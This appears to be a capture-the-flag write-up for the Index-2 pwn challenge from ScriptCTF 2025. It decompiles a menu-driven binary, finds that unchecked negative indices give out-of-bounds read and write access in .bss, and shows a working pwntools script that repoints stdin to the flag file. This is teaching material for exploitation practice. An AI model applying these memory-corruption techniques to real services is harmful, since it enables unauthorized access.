Hey exploiters — time to exploit another binary. This write-up covers Index-2 from ScriptCTF 2025 (Pwn), where a polite little menu hides a deterministic data-only leak. We’ll walk through the 0x539
“loader,” the PIE-stable offset into .bss
, and how a single %s
turns into a clean flag exfil—no ROP required.
1. First look: running and poking
Before cracking it open, let’s just run it and see it in action.
How to run ??
Use the provided loader/libc
./ld-linux-x86-64.so.2 --library-path . ./index-2
You’re greeted by a tight menu loop:
1. Store data
2. Read data
3. Print flag
4. Exit
Option 1 — Store data
1
Index: 0
Data: KS HackZone
Prompts for an index, then enter a short line of data, and returns to the menu.
Option 2 — Read data
2
Index: 0
Data: KS HackZone
Prompts for an index and prints the stored string at that slot as:Data:
Option 3 — Print flag
3
Do you want the flag?
yes
You really thought I would give you the flag?
Asks a yes/no; yes gets teased, no says “Okay, then!”, anything else is echoed as invalid.
Option 4 — Exit
4
Bye!
2. Analysis with Cutter
Before going deep, here’s the quick “dashboard snapshot” from Cutter so we know what we’re dealing with:
- ELF64, dynamically linked, PIE: true, NX: true, Canary: true, RELRO: Full
- Linked against libc.so.6 (glibc 2.34 per imports), compiled with GCC (Debian 14.2.0–19)
- Symbols are present (not stripped)
main function
undefined8 main(void)
{
int32_t iVar1;
int64_t in_FS_OFFSET;
uint32_t var_7ch;
char *str;
int64_t var_10h;
var_10h = *(int64_t *)(in_FS_OFFSET + 0x28);
init();
do {
while( true ) {
menu();
fgets(&str, 100, _stdin);
iVar1 = atoi(&str);
if (iVar1 < 5) break;
if (iVar1 == 0x539) {
_f = fopen("flag.txt", data.000020c6);
}
}
// switch table (5 cases) at 0x20d4
switch(iVar1) {
case 0:
printf("Invalid choice: %s", &str);
break;
case 1:
store_data();
break;
case 2:
read_data();
break;
case 3:
print_flag();
break;
case 4:
puts("Bye!");
if (var_10h == *(int64_t *)(in_FS_OFFSET + 0x28)) {
return 0;
}
// WARNING: Subroutine does not return
__stack_chk_fail();
}
} while( true );
}
- Calls init() to disable buffering on
_stdin/_stdout/_stderr
, making I/O immediate and line-oriented. - Prints the menu and reads a full line with
fgets(&str, 100, _stdin)
. - Parses that line with atoi(&str) into iVar1.
- If iVar1 < 5, execution breaks to the switch (valid menu range 0..4).
- If iVar1 == 0x539 (1337), runs the hidden loader:
_f = fopen("flag.txt", "r")
. - If iVar1 >= 5 and not 0x539, the input is ignored and the loop reprints the menu.
- Dispatch uses the jump table at 0x20d4.
- Case 0:
printf("Invalid choice: %s", &str)
— echoes the exact line just read; any non-numeric line lands here because atoi returns 0. - Case 1:
store_data()
. - Case 2:
read_data()
. - Case 3:
print_flag()
(yes/no prompt; never reveals the flag). - Case 4:
puts("Bye!")
and return. - Exploit-relevant facts: the 1337 loader deterministically opens flag.txt into global _f; each loop reads a line from _stdin via
fgets(&str, 100, _stdin);
case 0 echoes that line with %s. - Combining with primitives from store_data/read_data, we will repoint _stdin to _f so the next menu read consumes a line from the flag file, and case 0 echoes the flag verbatim.
store_data function
void store_data(void)
{
int64_t in_FS_OFFSET;
FILE *stream;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
printf("Index: ");
__isoc99_scanf(data.00002041, &stream);
getchar();
printf("Data: ");
fgets(nums + (int64_t)(int32_t)stream * 8, 8, _stdin);
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
- Reads an unbounded signed index with
scanf("%d", &stream);
negative values are accepted. - Computes the destination as
nums + (int64_t)(int32_t)stream * 8;
i.e., an 8-byte stride anchored at nums. - Calls
fgets(dst, 8, _stdin)
which writes up to 7 controllable bytes then appends a NUL terminator. - This is a 7-byte arbitrary write primitive at addresses
nums + 8*index
across.bss
. - Practical mapping (PIE-stable via indices):
_stdin
sits 6 strides before nums (index -6), _f sits 8 strides after nums (index +8). - To write exactly 7 bytes, send 7 characters; fgets will stop due to the size limit and append the trailing \x00 automatically.
read_data function
// WARNING: Variable defined which should be unmapped: var_ch
void read_data(void)
{
int64_t var_ch;
printf("Index: ");
__isoc99_scanf(data.00002041, &var_ch);
getchar();
printf("Data: %s", nums + (int64_t)(int32_t)var_ch * 8);
return;
}
- Reads an unbounded signed index with
scanf("%d", &var_ch);
negative values are accepted. - Computes the source as
nums + (int64_t)(int32_t)var_ch * 8
, i.e., 8-byte stride anchored at nums. - Prints with printf("Data: %s", …), so it treats memory at that address as a C-string and stops at the first \x00.
- This is an arbitrary C-string read primitive at nums + 8*index; useful for leaking low bytes of pointers or data in .bss.
- Practical indices:
_f
is at index +8 (leaks low bytes of the FILE* for flag.txt),_stdin
is at index -6 (shows current stdin pointer’s low bytes). - Limitation: if the first byte at the chosen address is
\x00
, nothing is printed; if a NUL appears early, the leak is truncated. - No upper bound is enforced on the printed length beyond encountering a NUL, so it will print until a zero byte is found.
print_flag function
void print_flag(void)
{
int32_t iVar1;
int64_t in_FS_OFFSET;
char *s1;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
puts("Do you want the flag?");
fgets(&s1, 0x40, _stdin);
iVar1 = strcmp(&s1, "yes\n");
if (iVar1 == 0) {
puts("You really thought I would give you the flag?");
} else {
iVar1 = strcmp(&s1, data.0000209e);
if (iVar1 == 0) {
puts("Okay, then!");
} else {
printf("Invalid choice: %s", &s1);
}
}
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
Nothing interesting, just a decoy !!!
menu function
void menu(void)
{
puts("1. Store data");
puts("2. Read data");
puts("3. Print flag");
puts("4. Exit");
return;
}
Nothing much… Just prints the four menu options; no input handling, no state changes.
3. Exploiting to get the FLAG
Primitives we have
- Write: store_data does
fgets(dst, 8, _stdin)
todst = nums + 8*index
→ at most 7 controllable bytes then a NUL. - Read: read_data prints
printf("Data: %s", nums + 8*index)
→ C-string read from any nums + 8*index. - Loader: entering 1337 sets global
_f = fopen("flag.txt","r")
. - Printer: menu case 0 echoes the last input line as Invalid choice: %s.
PIE-stable layout (relative to nums at 0x4060)
&_stdin
at 0x4030 → index −6.&_f
at 0x40a0 → index +8.
Idea
- Leak the low bytes of &_f with read_data at index +8.
- Overwrite
_stdin
with those bytes usingstore_data
at index −6 (7-byte write; the 8th byte becomes \x00), producing a valid canonical pointer. - Next loop iteration reads the menu line through
_stdin == _f
, so fgets(&str, 100, _stdin) pulls a line from flag.txt. atoi(str)
on a typical flag returns 0, dropping into case 0, which echoes that line. Flag exfil complete.
Step-by-step
- Send 1337 to trigger the hidden loader and open
flag.txt
into_f
. - Use read_data with index 8 to leak bytes from
&_f
.%s
stops at the first\x00
, so you’ll usually get 5–7 bytes; 6 in our run. - Use store_data with index -6 to write exactly 7 bytes into _stdin. Left-pad the leak with
\x00
to length 7 if needed; fgets(...,8,…) appends the 8th NUL, yielding a valid 8-byte pointer. - Allow the loop to continue. The program calls fgets(&str, 100, _stdin); since _stdin == _f, it reads a line from the flag file.
- The line is non-numeric, so
atoi(str) == 0
and the program takes case 0, printingInvalid choice: <flag>
.
Minimal exploit using PWNTools
from pwn import *
io = remote("kshackzone.com", 10282) ## replace with your host and port
def menu_read(): io.recvuntil(b"4. Exit\n")
def choose(x): io.sendline(str(x).encode())
menu_read()
choose(1337) # _f = fopen("flag.txt","r")
menu_read()
choose(2); io.recvuntil(b"Index: "); io.sendline(b"8") # read_data(&f)
io.recvuntil(b"Data: ")
f_low = io.recvuntil(b"1. Store data", drop=True) # leak up to first NUL
menu_read()
payload7 = f_low.ljust(7, b"\x00") # 7 bytes; 8th will be NUL
choose(1); io.recvuntil(b"Index: "); io.sendline(b"-6") # store_data(&_stdin)
io.recvuntil(b"Data: "); io.send(payload7) # no newline
menu_read()
io.recvuntil(b"Invalid choice: ") # next loop reads from flag
flag = io.recvline().strip()
print(flag.decode())
4. Final Thoughts
Index-2 was an intermediate PWN challenge: no ROP, no GOT clobber, but it rewarded careful static analysis and precise I/O control. The core path is simple once you see it — use the hidden 1337
to open flag.tx
t into _f
, leverage read_data for a C-string leak of _f’s low bytes, then abuse store_data’s 7-byte write (at 8-byte stride) to repoint _stdin to _f
. On the next loop the menu read comes from the flag file, atoi collapses it to 0, and case 0 dutifully echoes the line as Invalid choice: . Full RELRO, NX, and canaries stay on the sidelines while pointer plumbing in .bss does all the work.
I focused on the why behind each step — probing, static analysis, and the data-only pivot — so you’re not just copy-pasting an exploit but genuinely understanding it. Hope this clarified the thought process and taught you a couple of new tricks.
Happy pwning — see you in the next writeup! 🏴☠️